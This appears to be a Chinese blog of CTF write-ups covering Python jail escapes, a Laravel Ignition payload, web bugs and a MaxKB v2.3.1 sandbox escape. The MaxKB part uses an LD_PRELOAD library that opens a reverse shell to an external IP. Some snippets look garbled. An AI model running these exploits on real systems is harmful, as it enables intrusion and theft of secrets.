逃逸的手段有很多很多，比如对象到类，到类的命名空间，再到执行命令的类，初始化函数，函数的命名空间，执行命令函数，当然这很笼统。

当然了，这种光说理论不行，给点实战之类的理论。

我接触过一些栈帧逃逸，包括顶上提到的keyerror什么的逃逸，都有一些共性，那就是某个对象是可控的，

也就是生命周期可控，这个对象可以是原本存在，也可以是自己制造的，比如制造各种类型的报错，

而报错都是对象，对象又有对应的类·····，这样一来，只要在它可控，那就能进行逃逸的尝试，举个例子。

s = (i for i in range(100))
k = s.gi_frame
bb = k.f_globals
print(bb)

这s就是个生成器，frame用完不会消失，而是存为frame对象可以继续调用，直到next(s)停止。这里就能拿到它的globlas，也能拿到builtins，这很有趣。

当然还有栈帧逃逸:

因为一切都有指向的类，异常也是如此，我们直接根据异常类造对象，就像下面

import sys
try:
    raise Exception
except Exception as k:
    f = k.__traceback__
    f1 = f.tb_frame
    while f1 is not None:
        g=f1.f_globals
        if 'sys' in g:
            print(g)
        break

raise Exception造一个错误对象，然后绑定到k，而这个错误对象又会绑定到错误栈上，而错误栈有自己独特的dict，也就是有f_globals，f_local等等，可以通过这些溯源拿到执行命令的模块，达到逃逸的目的。

再可以举一个例子，同样是利用错误，payload如下:

from pwn import *

context(log_level="DEBUG")

io = remote("excepython.seccon.games", 5000)

# attack chain:
# [].__setattr__.__objclass__.__subclasses__()[167].__init__.__globals__["system"]("sh")
io.recvuntil(b"jail>")
io.sendline(b"{}[f := lambda x: x[0].__getattribute__(*x[1:])]")
io.recvuntil(b"jail>")
io.sendline(b"{}[f := ex.args[0], g := lambda x: f([x[0]]+x)]")
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args, g[0][0]([[]] + ["__setattr__"])]')
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[0][0][0]([g[1]] + ["__objclass__"])]')
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[0][0][0][1]([g[1]] + ["__subclasses__"])]')
io.recvuntil(b"jail>")
io.sendline(b"{}[g := ex.args[0], g[1]()[167]]")
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[0][0][0][0][0][1]([g[1]] + ["__init__"])]')
io.recvuntil(b"jail>")
io.sendline(
    b'{}[g := ex.args[0], g[0][0][0][0][0][0][0]([g[1]] + ["__globals__"])["system"]]'
)
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[1]("sh")]')

# cat /flag*
# SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
io.interactive()

这里就是用{}[0]这种会报keyerror的原理，然后这个keyerror是绑定到ex上的，

ex因为是keyerror所绑定的所以也带有keyerror的dict，也就是有args,这个原本是报出错误的名称的，

也就是我们弄的[]里放的，但是我们将其当成了容器，因为这个字符存进去也能变相取出来，这样通过这个不停绑定参数，

最后加载我们需要的执行命令的方法函数。这都是对于python内部机制的探求吧我想

总归都是我们能用什么，能控制什么，控制的东西如何运作，知道这些，我想，会理解更加深入吧。

才疏学浅，仅供参考，其实还是以原理为主，哈哈，就到这里吧

关于Laravel框架的SRC杂谈

Sat, 20 Dec 2025 00:00:00 GMT

就像简单谈谈这个SRC，充其量一个高危，众所周知吧，Laravel是一个PHP的WEB框架对吧，这个框架定义了很多命令系统，为了能更加高效的执行，每一种Laravel都对应了 Laravel的一个类，从而构造出一套高效的命令执行SYSTEM，artisan是这个框架定义的一个寻找工具之类的，类似于pip啊或者git

然后就是用调用了，去调用Facade\Ignition\Solutions\RunMigrationsSolution

这是能帮你跑一个执行 migrate 的小脚本，大致总结下就是传入这个类之后服务器去解析这个和你传的参数，然后去套用它的内部方法，然后就能看看能不能执行了，如果可以就能进一步操作，进行远程RCE之类的，最后贴一下当时的payload吧。

{

"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",

"parameters": {

"variableName": "user",

"viewFile": "resources/views/welcome.blade.php"

}

然后也把模拟处理源码贴一贴吧:

$class = $request->input('solution');      // "Facade\\Ignition\\Solutions\\RunMigrationsSolution"
$parameters = $request->input('parameters'); // ["action" => "migrate"]

$solution = new $class($parameters);  // 相当于 new RunMigrationsSolution(["action" => "migrate"])
$solution->run();                     // 执行这个类里面写的 run()

LakeCTF加拿大资格赛 writeup

Sat, 20 Dec 2025 00:00:00 GMT

1.题目是Le Canard du Lac,开头画面是

看看别的界面

就是一个xml接口，一个信息输入接口，然后一个登录接口，开始FUZZ测试，先试试搜索框存不存在SQL注入，发现没有反应，下一个xml，发现xml存在解析，并且能回显，但是读源文件会解析失败，尝试伪协议，使用base64编码后读取，成功读到源码

并且同理在config.php下读取到了管理员凭证，即账号密码，登陆进去后直接获得FLAG。

2.题目是gamblecore，源码直接给，这是js审计类题目

const express = require('express');
const session = require('express-session');
const crypto = require('crypto');
const path = require('path');
const bodyParser = require('body-parser');

const app = express();
const PORT = 3000;

app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/audio', express.static(path.join(__dirname, 'audio'))); // Serve mp3s from app root

app.use(session({
    secret: crypto.randomBytes(32).toString('hex'),
    resave: false,
    saveUninitialized: true,
    cookie: { secure: false }
}));

// Initialize wallet
app.use((req, res, next) => {
    if (!req.session.wallet) {
        req.session.wallet = {
            coins: 10e-6, // 10 microcoins
            usd: 0
        };
    }
    next();
});

// Helper for secure random float [0, 1)
function secureRandom() {
    return crypto.randomInt(0, 100000000) / 100000000;
}

app.get('/api/balance', (req, res) => {
    res.json({
        coins: req.session.wallet.coins,
        microcoins: req.session.wallet.coins * 1e6,
        usd: req.session.wallet.usd
    });
});

app.post('/api/gamble', (req, res) => {
    const { currency, amount } = req.body;
    
    if (!['coins', 'usd'].includes(currency)) {
        return res.status(400).json({ error: 'Invalid currency' });
    }

    let betAmount = parseFloat(amount);
    if (isNaN(betAmount) || betAmount <= 0) {
        return res.status(400).json({ error: 'Invalid amount' });
    }

    const wallet = req.session.wallet;
    
    if (currency === 'coins') {
        if (betAmount > wallet.coins) {
            return res.status(400).json({ error: 'Insufficient funds' });
        }
    } else {
        if (betAmount > wallet.usd) {
            return res.status(400).json({ error: 'Insufficient funds' });
        }
    }

    // Deduct bet
    if (currency === 'coins') wallet.coins -= betAmount;
    else wallet.usd -= betAmount;

    // 9% chance to win
    const win = secureRandom() < 0.09;
    let winnings = 0;

    if (win) {
        winnings = betAmount * 10;
        if (currency === 'coins') wallet.coins += winnings;
        else wallet.usd += winnings;
    }

    res.json({
        win: win,
        new_balance: currency === 'coins' ? wallet.coins : wallet.usd,
        winnings: winnings
    });
});

app.post('/api/convert', (req, res) => {
    let { amount } = req.body;

    const wallet = req.session.wallet;
    const coinBalance = parseInt(wallet.coins);
    amount = parseInt(amount);
    if (isNaN(amount) || amount <= 0) {
        return res.status(400).json({ error: 'Invalid amount' });
    }
    
    if (amount <= coinBalance && amount > 0) {
        wallet.coins -= amount;
        wallet.usd += amount * 0.01;
        return res.json({ success: true, message: `Converted ${amount} coins to $${(amount * 0.01).toFixed(2)}` });
    } else {
        return res.status(400).json({ error: 'Conversion failed.' });
    }
});

app.post('/api/flag', (req, res) => {
    if (req.session.wallet.usd >= 10) {
        req.session.wallet.usd -= 10;
        res.json({ flag: process.env.FLAG || 'EPFL{fake_flag}' }); 
    } else {
        res.status(400).json({ error: 'Not enough USD. You need $10.' });
    }
});

app.post('/api/deposit', (req, res) => {
    res.status(503).json({ error: 'Deposit unavailable at the moment' });
});

app.post('/api/withdraw', (req, res) => {
    res.status(503).json({ error: 'Withdrawal unavailable at the moment' });
});

app.listen(PORT, () => {
    console.log(`Server running on http://0.0.0.0:${PORT}`);
});

定义了很多路由，那就让我们一步一步去梳理过程，先是设定一个钱包，

// Initialize wallet
app.use((req, res, next) => {
    if (!req.session.wallet) {
        req.session.wallet = {
            coins: 10e-6, // 10 microcoins
            usd: 0
        };
    }
    next();
});

初始化之后钱包就有10e-6的钱了，然后是game环节，这里讲下，因为后面的flag模块是判断数据库的usd是不是到了10，而不是post，所以我们改post的作用在前面，因为这里是把post上来的amount解析为浮点数，然后我们用初始的0.00000001const下注一次，然后有%91概率会输，于是我们输了之后就有了0.0000000091const，换算成科学计数法就是9.0000001e-7，然后我们看看换钱的算法

app.post('/api/convert', (req, res) => {
    let { amount } = req.body;

    const wallet = req.session.wallet;
    const coinBalance = parseInt(wallet.coins);
    amount = parseInt(amount);
    if (isNaN(amount) || amount <= 0) {
        return res.status(400).json({ error: 'Invalid amount' });
    }
    
    if (amount <= coinBalance && amount > 0) {
        wallet.coins -= amount;
        wallet.usd += amount * 0.01;
        return res.json({ success: true, message: `Converted ${amount} coins to $${(amount * 0.01).toFixed(2)}` });
    } else {
        return res.status(400).json({ error: 'Conversion failed.' });
    }
});

我们发现coins是用parseInt处理的，这个函数处理浮点数的科学计数法会把它先解析成字符串再进行处理，于是就省略了e啥的，就成了9，然后换成了0.09$，接下来就是多线程爆破了，因为

const win = secureRandom() < 0.09;

let winnings = 0;

也就是胜率是%9，很低，并且要连续获胜3次，usd从0.09->0.9->9->90，这样usd就>10，系统就输出flag了，这里把py梭哈脚本贴上来

import requests
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

BASE = "https://chall.polygl0ts.ch:8148"
TIMEOUT = 5
WORKERS = 10  # 并发线程数


def build_session():
    s = requests.Session()
    # 禁用环境代理
    s.trust_env = False
    s.proxies = {}
    return s


def api_get(s, path):
    return s.get(BASE + path, timeout=TIMEOUT)


def api_post(s, path, json=None):
    return s.post(BASE + path, json=json, timeout=TIMEOUT)


def get_balance(s):
    r = api_get(s, "/api/balance")
    r.raise_for_status()
    return r.json()


def gamble_coin_to_magic_zone(s, wid, attempt):
    """
    用 coins 赌 0.0000091，目标让 coins 掉到 9e-7 左右
    """
    try:
        r = api_post(
            s, "/api/gamble",
            json={"currency": "coins", "amount": 0.0000091}
        )
        if not r.ok:
            print(f"[W{wid} A{attempt}] gamble coins 请求失败，code={r.status_code}")
            return False

        b = get_balance(s)
        coins = b.get("coins", 0.0)
        print(f"[W{wid} A{attempt}] 赌完 coins 后余额：{b}")

        # coins 在 (0, 1e-6) 区间基本就是我们要的 9e-7 那段
        if 0 < coins < 1e-6:
            print(f"[W{wid} A{attempt}] ✅ 进入魔法区间 coins={coins}")
            return True
        else:
            print(f"[W{wid} A{attempt}] ❌ 没进魔法区间 coins={coins}")
            return False

    except Exception as e:
        print(f"[W{wid} A{attempt}] gamble_coin_to_magic_zone 异常: {e}")
        return False


def convert_magic(s, wid, attempt):
    """
    在 coins≈9e-7 时，利用 parseInt，把 amount=9e-7 变成 9 coin -> 0.09 USD
    """
    try:
        r = api_post(s, "/api/convert", json={"amount": 0.0000009})
        if not r.ok:
            print(f"[W{wid} A{attempt}] convert 请求失败，code={r.status_code}")
            return False

        b = get_balance(s)
        usd = b.get("usd", 0.0)
        print(f"[W{wid} A{attempt}] 兑换后余额：{b}")
        if usd >= 0.09 - 1e-6:
            print(f"[W{wid} A{attempt}] ✅ 成功拿到初始 USD={usd}")
            return True
        else:
            print(f"[W{wid} A{attempt}] ❌ 兑换后 USD 不够，usd={usd}")
            return False

    except Exception as e:
        print(f"[W{wid} A{attempt}] convert_magic 异常: {e}")
        return False


def gamble_usd_to_flag(s, wid, attempt, stop_event):
    """
    用 USD all-in 赌到 >= 10，然后买 flag。
    任一线程成功后会 stop_event.set()
    """
    round_id = 0
    while not stop_event.is_set():
        round_id += 1
        try:
            b = get_balance(s)
        except Exception as e:
            print(f"[W{wid} A{attempt} R{round_id}] 读取余额异常: {e}")
            return None

        usd = b.get("usd", 0.0)

        if usd >= 10:
            print(f"[W{wid} A{attempt} R{round_id}] 🎯 USD={usd} ≥10，尝试买 flag")
            try:
                r = api_post(s, "/api/flag")
                data = r.json()
            except Exception as e:
                print(f"[W{wid} A{attempt} R{round_id}] /api/flag 异常: {e}, text={r.text if 'r' in locals() else ''}")
                return None

            if isinstance(data, dict) and "flag" in data:
                print(f"[W{wid} A{attempt} R{round_id}] 🏁 拿到 flag: {data['flag']}")
                return data["flag"]
            else:
                print(f"[W{wid} A{attempt} R{round_id}] /api/flag 返回不含 flag: {data}")
                return None

        if usd <= 0:
            print(f"[W{wid} A{attempt} R{round_id}] 💀 USD 已归零，本 session 死亡")
            return None

        print(f"[W{wid} A{attempt} R{round_id}] 💸 all-in USD = {usd}")
        try:
            r = api_post(
                s, "/api/gamble",
                json={"currency": "usd", "amount": usd}
            )
            if not r.ok:
                print(f"[W{wid} A{attempt} R{round_id}] gamble usd 请求失败，code={r.status_code}")
                return None
        except Exception as e:
            print(f"[W{wid} A{attempt} R{round_id}] gamble usd 异常: {e}")
            return None

        # 稍微控速，减轻服务器压力
        time.sleep(0.02)


def worker(worker_id, stop_event):
    """
    单个线程的循环逻辑：
    不断新建 session -> 调整 coins -> convert -> 赌 usd
    任一成功拿到 flag 就返回 flag。
    """
    attempts = 0
    while not stop_event.is_set():
        attempts += 1
        print(f"\n[W{worker_id}] ===== 新尝试 A{attempts} 开始 =====")

        try:
            s = build_session()
            r = api_get(s, "/api/balance")
            r.raise_for_status()
            print(f"[W{worker_id} A{attempts}] 初始余额：{r.json()}")
        except Exception as e:
            print(f"[W{worker_id} A{attempts}] 建立 session / 获取初始余额失败: {e}")
            continue

        # 1. 调整 coins 到魔法区间
        if not gamble_coin_to_magic_zone(s, worker_id, attempts):
            continue

        # 2. 利用 convert 漏洞换出 0.09 USD
        if not convert_magic(s, worker_id, attempts):
            continue

        # 3. 用 USD all-in 赌到 ≥10，再买 flag
        flag = gamble_usd_to_flag(s, worker_id, attempts, stop_event)
        if flag:
            print(f"[W{worker_id}] 🎉 成功拿到 flag！结束本 worker。")
            return flag

    return None


def main():
    stop_event = threading.Event()
    flag_result = None

    with ThreadPoolExecutor(max_workers=WORKERS) as executor:
        futures = {
            executor.submit(worker, i, stop_event): i
            for i in range(1, WORKERS + 1)
        }

        for future in as_completed(futures):
            worker_id = futures[future]
            try:
                result = future.result()
            except Exception as e:
                print(f"[W{worker_id}] worker 出错：{e}")
                continue

            if result:
                flag_result = result
                stop_event.set()
                break

    if flag_result:
        print("\n================ 最终 FLAG ================")
        print(flag_result)
        print("===========================================")
    else:
        print("还没刷到 flag，可以考虑把 WORKERS 调大、或者多跑一会儿。")


if __name__ == "__main__":
    main()

RootKB / MaxKB v2.3.1 沙箱逃逸

Sat, 20 Dec 2025 00:00:00 GMT

RootKB / MaxKB v2.3.1 沙箱提权小记，0day复现

0x00 前情提要

题目环境是最新版的 MaxKB v2.3.1，后台有一个「创建工具」的功能，可以在线跑 Python 代码。

一开始进去试了一下，的确是个沙箱：

能 os.listdir("/") 之类的；
但是系统命令基本跑不通；
可读写的目录被限制在 /opt/maxkb-app/sandbox/。

读取了下这个目录，发现里面有个很扎眼的文件：

/opt/maxkb-app/sandbox/sandbox.so

这玩意一看就像是沙箱相关的 so，想着大概率和限制有关，就去翻源码了。

0x01 关键点：v2.3.1 新增的 LD_PRELOAD

看 tool_code.py，和 v2.3.0 对比，多出来一段逻辑（大意）：

if self.sandbox:
    kwargs = {
        "cwd": self.sandbox_path,
        "env": {
            "LD_PRELOAD": f"{self.sandbox_path}/sandbox.so",
        },
        # ... 其他参数 ...
    }

也就是说，只要是「沙箱模式」执行 Python，它就会：

在 沙箱目录/opt/maxkb-app/sandbox/ 下找 sandbox.so；
启动 Python 子进程时，带上 LD_PRELOAD=/opt/maxkb-app/sandbox/sandbox.so。

结合我们前面信息收集到的结论：

/opt/maxkb-app/sandbox/ 是沙箱里唯一能读写的目录；
sandbox.so 就长在这里；
我们可以覆盖它。

那就很明显了： 一个可写的、会被 LD_PRELOAD 的 so，基本等于「给你一个挂钩点，自己决定启动时执行啥」。

0x02 攻击思路一眼定胜负

利用链其实就四步：

在本地写一个恶意 .so：被载入时自动执行我们想跑的命令（比如反弹 shell）。
编译好之后做 base64 编码，方便塞进沙箱里的 Python 代码。
用在线 Python 将 base64 解码，直接覆写 /opt/maxkb-app/sandbox/sandbox.so。
再随便执行一次「沙箱模式」的 Python 代码就行了——Python 子进程一启动，动态链接器按照 LD_PRELOAD 把我们的 so 加载进来，构造函数自动跑，反弹 shell 拿下。

0x03 本地准备：写个简单的恶意 so

先在自己机子上写 Z3.c：

#include <stdlib.h>
#include <unistd.h>

void payload() {   
    unsetenv("LD_PRELOAD");
    
    system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\"");
}

__attribute__((constructor))
void init() {
    if (getenv("LD_PRELOAD") != NULL) {
        payload();
    }
}

编译成 so：

gcc -shared -fPIC -o Z3.so Z3.c

检查一下是 64 位 ELF 就行（和容器架构一致即可）。

然后为了方便塞进题目里，把 so 做成一行 base64：

base64 -w0 Z3.so > Z3.b64

打开 Z3.b64，复制里面那一长串字符串，后面会用到。

0x04 在线覆写 `/opt/maxkb-app/sandbox/sandbox.so`

接下来回到题目后台，「智能体编程」那里写 Python。我们利用沙箱能写 /opt/maxkb-app/sandbox/ 的特性，把本地准备好的恶意 so 写进去。

示例代码（核心逻辑）：

def payload():
    import base64
    import os

    base64data = """
这里粘你的 Z3.b64 那一整行
""".strip()

    data = base64.b64decode(base64data)

    path = "/opt/maxkb-app/sandbox/sandbox.so"

    with open(path, "wb") as f:
        f.write(data)

    return {"msg": "overwrite done", "size": len(data)}

只能是def函数，其他的函数会报错奥

在后台点击调试，

这一步做完，其实整个提权已经埋好雷了，就差走过去踩一下。

0x05 触发 LD_PRELOAD，拿反弹 shell

在本地先开个监听：

nc -lvvp 1337

然后回后台，再新建/修改一个工具，随手写个非常无害的代码，例如：

def payload():
    print(1)

重点不是这段代码本身，而是你要让它在“沙箱模式”下执行一次。

一旦点了执行，后台会：

根据我们前面看到的逻辑，启动一个带 LD_PRELOAD=/opt/maxkb-app/sandbox/sandbox.so 的 Python 子进程；
动态链接器加载我们的 sandbox.so；
调用 so 里的 __attribute__((constructor)) 函数；
反弹 shell 直接回到我们本机的 nc。

此时监听端口上就会弹出一个交互 shell：

$ nc -lvvp 1337
Connection from x.x.x.x 54321
bash: no job control in this shell
sandbox@xxxx:/opt/maxkb-app/sandbox$ id
uid=0(root) gid=0(root) groups=0(root)
sandbox@xxxx:/opt/maxkb-app/sandbox$ cat /root/flag
flag{...}

直接提权RCE

极客大挑战2025 writeup

Sat, 20 Dec 2025 00:00:00 GMT

WEEK3 LFI | PDF

开头是这个

信息收集无果，/admin登不进去，没信息，先从这下手，PDF在服务器渲染，这里使用了wkhtmltopdf，以下是简介

wkhtmltopdf (核心原理）

关键在于：wkhtmltopdf 内部实际运行的是一个浏览器内核（WebKit）。浏览器内核负责实现 DOM、CSSOM、JavaScript 引擎（在 WebKit 中是 JavaScriptCore）和浏览器 API（包括 XMLHttpRequest、fetch、document、window 等）。因此：

当你把 HTML 输进后端并由 wkhtmltopdf 渲染时，它会把 HTML 交给 WebKit 去解析与执行；
WebKit 会执行 <script> 标签里的 JavaScript；JavaScript 里可以调用浏览器 API（XMLHttpRequest、fetch、DOM 操作等）；
XMLHttpRequest 的实现是内核层面的网络请求实现（不是浏览器外壳的“window.fetch 的 polyfill”），所以它能发起对 HTTP(s) 或 file:// 的请求（前提是内核允许这些协议/路径在当前配置下访问）。
所以可以利用XMLHttpRequest去本地读文件，直接打payload

● <h1>title</t1>
● <script>
  ○ var x = XMLHttpRequest();
○ x.onload=function(){
  ■ document.write('<pre>',this.responsetext,'</pre>');
  ○ };
○ x.open=('GET','file:///etc/shadow','true');
○ x.send();
● </script>

直接读取了用户和密码，其中有个可疑的用户，直接放登录里爆破直接出了，没难度

w3图像预览XML

开头是这个画面，图像预览，发现可以把图像内嵌到网页中，并且可以上传svg，那我们尝试在里面包含js

#<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">

发现直接渲染报错，有可能是服务器端禁止渲染js，那我们尝试svg内嵌声明文档，XXE开始

<?xml version=1.0?>
<!DOCTYPE svg[
xmlD
]>
<svg xmlns="http://www.w3.org/2000/svg><text>&xxe;</text></svg>

直接打拿到flag，完结

w3简单SSTI盲注

开始界面，发现{{}}可以被渲染，但是只有三种回显，大致一个是渲染错误，一个是不让你渲染，一个是渲染出来不告诉你，直接进行盲注，因为没扫到flag，试试环境变量，直接打payload

?name={{config.class.init.globals['builtins'].import('os').environ['FLAG']['0']=='S'}}然后一个一个手注就行，我有空写个脚本

W3压轴，西纳普斯许愿杯，栈帧逃逸

给了附件，代码审计。来吧

wish_stone.py

import multiprocessing
import sys
import io
import ast


class Wish_stone(ast.NodeVisitor):
    forbidden_wishes = {
        "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
        "__globals__", "__code__", "__closure__", "__func__", "__self__",
        "__module__", "__import__", "__builtins__", "__base__"
    }

    def visit_Attribute(self, node):
        if isinstance(node.attr, str) and node.attr in self.forbidden_wishes:
            raise ValueError
        self.generic_visit(node)

    def visit_GeneratorExp(self, node):
        raise ValueError

SAFE_WISHES = {
    "print": print,
    "filter": filter,
    "list": list,
    "len": len,
    "addaudithook": sys.addaudithook,
    "Exception": Exception,
}

def wish_granter(code, result_queue):
    safe_globals = {"__builtins__": SAFE_WISHES}

    sys.stdout = io.StringIO()
    sys.stderr = io.StringIO()

    try:
        exec(code, safe_globals)
        output = sys.stdout.getvalue()
        error = sys.stderr.getvalue()
        if error:
            result_queue.put(("err", error))
        else:
            result_queue.put(("ok", output))
    except Exception:
        import traceback
        result_queue.put(("err", traceback.format_exc()))


def safe_grant(wish: str, timeout=3):
    wish = wish.encode().decode('unicode_escape')
    try:
        parse_wish = ast.parse(wish)
        Wish_stone().visit(parse_wish)
    except Exception as e:
        return f"Error: bad wish ({e.__class__.__name__})"

    result_queue = multiprocessing.Queue()
    p = multiprocessing.Process(target=wish_granter, args=(wish, result_queue))
    p.start()
    p.join(timeout=timeout)

    if p.is_alive():
        p.terminate()
        return "You wish is too long."

    try:
        status, output = result_queue.get_nowait()
        print(output)
        return output if status == "ok" else f"Error grant: {output}"
    except:
        return "Your wish for nothing."


CODE = '''
def wish_checker(event,args):
    allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
    if not list(filter(lambda x: event == x, allowed_events)):
        raise Exception
    if len(args) > 0:
        raise Exception
addaudithook(wish_checker)
print("{}")
'''

badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "")


def evaluate_wish_text(text: str) -> str:
    for ch in badchars:
        if ch in text:
            print(f"ch={ch}")
            return f"Error:waf {ch}"
    out = safe_grant(CODE.format(text))
    return

app.py

from flask import Flask, render_template, send_from_directory, jsonify, request
import json
import threading
import time

app = Flask(__name__, template_folder='template', static_folder='static')
with open("asset/txt/wishes.json", 'r', encoding='utf-8') as f:
    wishes = json.load(f)['wishes']

wishes_lock = threading.Lock()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/assets/<path:filename>')
def assets(filename):
    return send_from_directory('asset', filename)


@app.route('/api/wishes', methods=['GET', 'POST'])
def wishes_endpoint():
    from wish_stone import evaluate_wish_text
    if request.method == 'GET':
        with wishes_lock:
            evaluated = [evaluate_wish_text(w) for w in wishes]
        return jsonify({'wishes': evaluated})

    data = request.get_json(silent=True) or {}
    text = data.get('wish', '')
    if isinstance(text, str) and text.strip():
        with wishes_lock:
            wishes.append(text.strip())

        return jsonify({'ok': True}), 201
    return jsonify({'ok': False, 'error': 'empty wish'}), 400

def _cleanup_task():
    while True:
        with wishes_lock:
            if len(wishes) > 6:
                del wishes[6:]
        time.sleep(0.5)

if __name__ == '__main__':
    threading.Thread(target=_cleanup_task, daemon=True).start()
    app.run(host='0.0.0.0', port=8080, debug=False, use_reloader=False)

看到这么多路由，脑子估计嗡嗡了，别怕，一步一步来，我在呢。

首先看看能提交什么，在/api/wishes这里可以提交，然后导入了这个wish_stone的函数，让我们看看

这个函数:def evaluate_wish_text(text: str) -> str:

for ch in badchars:

if ch in text:

print(f"ch={ch}")

return f"Error:waf {ch}"

out = safe_grant(CODE.format(text))

return

用上面这个函数审查了传入的信息，badchars是:badchars = ""'|&`+-*/()[]{}_ .".replace(" ", "")

还有个审计钩子也在里面

CODE = '''
def wish_checker(event,args):
    allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
    if not list(filter(lambda x: event == x, allowed_events)):
        raise Exception
    if len(args) > 0:
        raise Exception
addaudithook(wish_checker)
print("{}")
'''

基本所有符号都不能用，咋整，没事继续看，接下来是添加到data，然后是text，text之后有个方法是safe_grant，看看上面，可以把传入的wish编码成bytes，然后可以把wish按照unicode转码，于是我们发现了漏洞，之前不是基本所有都限制了吗，unicode可以绕过，黑名单并没有\，继续看看利用链，然后又被黑名单筛选了一次，这黑名单是真的多，接下来就送到了exec的函数这，因为又有个白名单，这题很鬼，两个黑名单一个白名单，还有顺序，以下是白名单:

SAFE_WISHES = {
    "print": print,
    "filter": filter,
    "list": list,
    "len": len,
    "addaudithook": sys.addaudithook,
    "Exception": Exception,
}

回溯一下发现在因为最后传到code的是CODE的一个钩子，因为最后是print('{}')所以我们要绕过，用");xxxx#")这样，后面插入恶意payload就可以了，经历审计钩子之后就会被传到code去执行exec，但是最后是没有回显的，最后搞了好久终于沙箱逃逸，以下是payload，会进行讲述:

");filter = lambda f,it:[1];len = lambda x:0
try:
    raise Exception
except Exception as e:
    tb = e.__traceback__
    f = tb.tb_frame
    while f is not None:
        g = f.f_globals
        if "sys" in g:
            m = g["sys"]
            b = m.modules["builtins"]
            o = b.open
            f2 = o("/proc/self/environ", "r")
            d = f2.read()
            f2.close()
            w = o("/app/asset/xxx.txt", "w")
            w.write(d)
            w.close()
            break
        f = f.f_back
#"

")那个就不说了，就是为了构造额外语句，接下来的filter是为了覆盖内置函数，不然有这个黑名单没法整了，覆盖之后就只回返回1，这个1不是很重要，重要的是这个审计钩子这部分失效了，只会抛出空列表，然后看下面，

if len(args) > 0:，直接替换len，使用匿名函数，只会输出0，然后就绕开这两个钩子。

接下来才是重点，唉，我何德何能。

首先

raise Exception

except Exception as e:

tb = e.__traceback__是引出错误调出错误信息，然后捕获这个错误信息，然后去调用这个错误的栈信息。tb_frame去找这个利用链的的源头,while x is not none是一个回溯循环，如果这一个层没有就往下一层找，总有一层能找到这些全局变量，等到哪一利用层有这个的时候，去拿到sys.modules，这里存了所有加载的模块，然后拿到内置模块builtins，去读取环境变量('我猜flag在那')，然后层层定义，因为没有回显，又因为全部路由只有这里是可疑的

@app.route('/assets/<path:filename>')
def assets(filename):
    return send_from_directory('asset', filename)

这个路由时会把写入/assets/path:filename的东西return到asset目录，于是我们先写入/app/asset/xxx.txt，然后去读取/asset/xxx.txt。有东西！！！

发现了flag,SYC{xxxxx}。

ok完结

ISCTF2025资格赛 writeup

Sat, 20 Dec 2025 00:00:00 GMT

mv upload

上源码

<?php
$uploadDir = '/tmp/upload/'; // 临时目录
$targetDir = '/var/www/html/upload/'; // 存储目录

$blacklist = [
    'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax",  "swf","ini"
];

$message = '';
$filesInTmp = [];

// 创建目标目录
if (!is_dir($targetDir)) {
    mkdir($targetDir, 0755, true);
}

if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}

// 上传临时目录
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
    $uploadedFiles = $_FILES['files'];
    foreach ($uploadedFiles['name'] as $index => $filename) {
        if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
            $message .= "文件 {$filename} 上传失败。<br>";
            continue;
        }

        $tmpName = $uploadedFiles['tmp_name'][$index];

        $filename = trim(basename($filename));
        if ($filename === '') {
            $message .= "文件名无效，跳过。<br>";
            continue;
        }

        $fileParts = pathinfo($filename);
        $extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';

        $extension = trim($extension, '.');

        if (in_array($extension, $blacklist)) {
            $message .= "文件 {$filename} 因类型不安全（.{$extension}）被拒绝。<br>";
            continue;
        }

        $destination = $uploadDir . $filename;

        if (move_uploaded_file($tmpName, $destination)) {
            $message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
        } else {
            $message .= "文件 {$filename} 移动失败。<br>";
        }
    }
}

// 获取临时目录中的所有文件
if (is_dir($uploadDir)) {
    $handle = opendir($uploadDir);
    if ($handle) {
        while (($file = readdir($handle)) !== false) {
            if (is_file($uploadDir . $file)) {
                $filesInTmp[] = $file;
            }
        }
        closedir($handle);
    }
}

// 处理确认上传完毕（移动文件）
if (isset($_POST['confirm_move'])) {
    if (empty($filesInTmp)) {
        $message .= "没有可移动的文件。<br>";
    } else {
        $output = [];
        $returnCode = 0;r 
        exec("cd $uploadDir ; mv * $targetDi2>&1", $output, $returnCode);#flagtxt;ls"#
        if ($returnCode === 0) {
            foreach ($filesInTmp as $file) {
                $message .= "已移动文件: {$file} 至$targetDir$file<br>";
            }
        } else {
            $message .= "移动文件失败: " .implode(', ', $output)."<br>";
        }
    }
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>多文件上传服务</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        .container { max-width: 800px; margin: auto; }
        .alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
        ul { list-style-type: none; padding: 0; }
        li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
    </style>
</head>
<body>
<div class="container">
